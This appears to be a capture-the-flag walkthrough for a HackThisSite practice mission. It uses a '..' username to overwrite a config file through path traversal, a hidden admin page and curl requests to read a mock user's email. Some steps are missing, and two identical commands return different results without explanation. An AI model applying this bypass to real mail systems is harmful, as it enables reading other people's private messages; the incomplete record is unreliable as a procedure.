One of your best friends has reason to believe that his girlfriend
has been cheating on him. He thinks that she's been sending emails back
and forth with this other guy, but he has no for sure proof. Now it's
your turn to show him what a valuable friend you are!
目标是进 Simple Mail 的管理后台,读到
jenn@simplemail.com 的邮件。站点是
https://www.hackthissite.org/missions/realistic/16/,菜单里只有
Register / Login / Search / User Panel 这些常规模块。
Solution
Recon:
首页源码里有一栏菜单被 HTML
注释掉:index.php?module=admin_login(Admin
Login),是隐藏入口。
首页新闻有一条 "Registration Error":"we were having a problem
with people registering who tried to use special characters in their
name... it might take up to a week to fix. For now, we suggest sticking
to just letters and numbers in your email address." ——
等于明说用户名没做过滤,特殊字符能进名字。
$ curl -s -b "HackThisSite=<mission-cookie>" \ "https://www.hackthissite.org/missions/realistic/16/index.php?module=reg_success" Logged in as: ..@simplemail.com Warning: Unable to create email address "..@simplemail.com" on line 56 Notice: Username as created, however, the email address had problems registering with the system. Registration was a success. You may procede to login.
邮箱没建成(..
不是合法邮箱),但用户目录/配置路径已经建好了。users/../config.txt
正好落在站点根目录,也就是管理员 Flash 读取的那个
config.txt。注册这一步就已经把它覆盖了,注册前 vs
注册后:
$ curl -s -i -b "HackThisSite=<mission-cookie>" \ "https://www.hackthissite.org/missions/realistic/16/admin.php?auth=true&id=63a4bf12cd" <b>Debug Mode Enabled:</b> <br /><b>Server Error:</b> The return from the auth page listed in config.txt is not consistant with the authorization given by login.swf. The error has been logged.
onClipEvent(load){ function __f_click(eventObj) { _root.toplabel.text = "Check email script currently disabled for user privacy"; } this.addEventListener("click",__f_click); }
$ curl -s -b "HackThisSite=<mission-cookie>" \ "https://www.hackthissite.org/missions/realistic/16/check_email.php?auth=true&id=63a4bf12cd&email=jenn%40simplemail.com" <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>Unauthorized Entry</title> </head><body> <h1>Unauthorized Entry Attempt</h1> <p>You have incorrectly attempted to login to administrative area using an incorrect username and or password. This attempt has been logged.</p> </body></html>
$ curl -s -b "HackThisSite=<mission-cookie>" \ "https://www.hackthissite.org/missions/realistic/16/check_email.php?auth=true&id=63a4bf12cd&email=jenn%40simplemail.com" \ -w '\n[HTTP %{http_code} size=%{size_download}]\n' <center><div style="width:80%"><div class="dark-td"><h2>Mission 16</h2></div><div class="light-td">Mission 16 Accomplished! (Turns out the guy she was talking to was her brother)<br /></div></div></center> [HTTP 200 size=14509]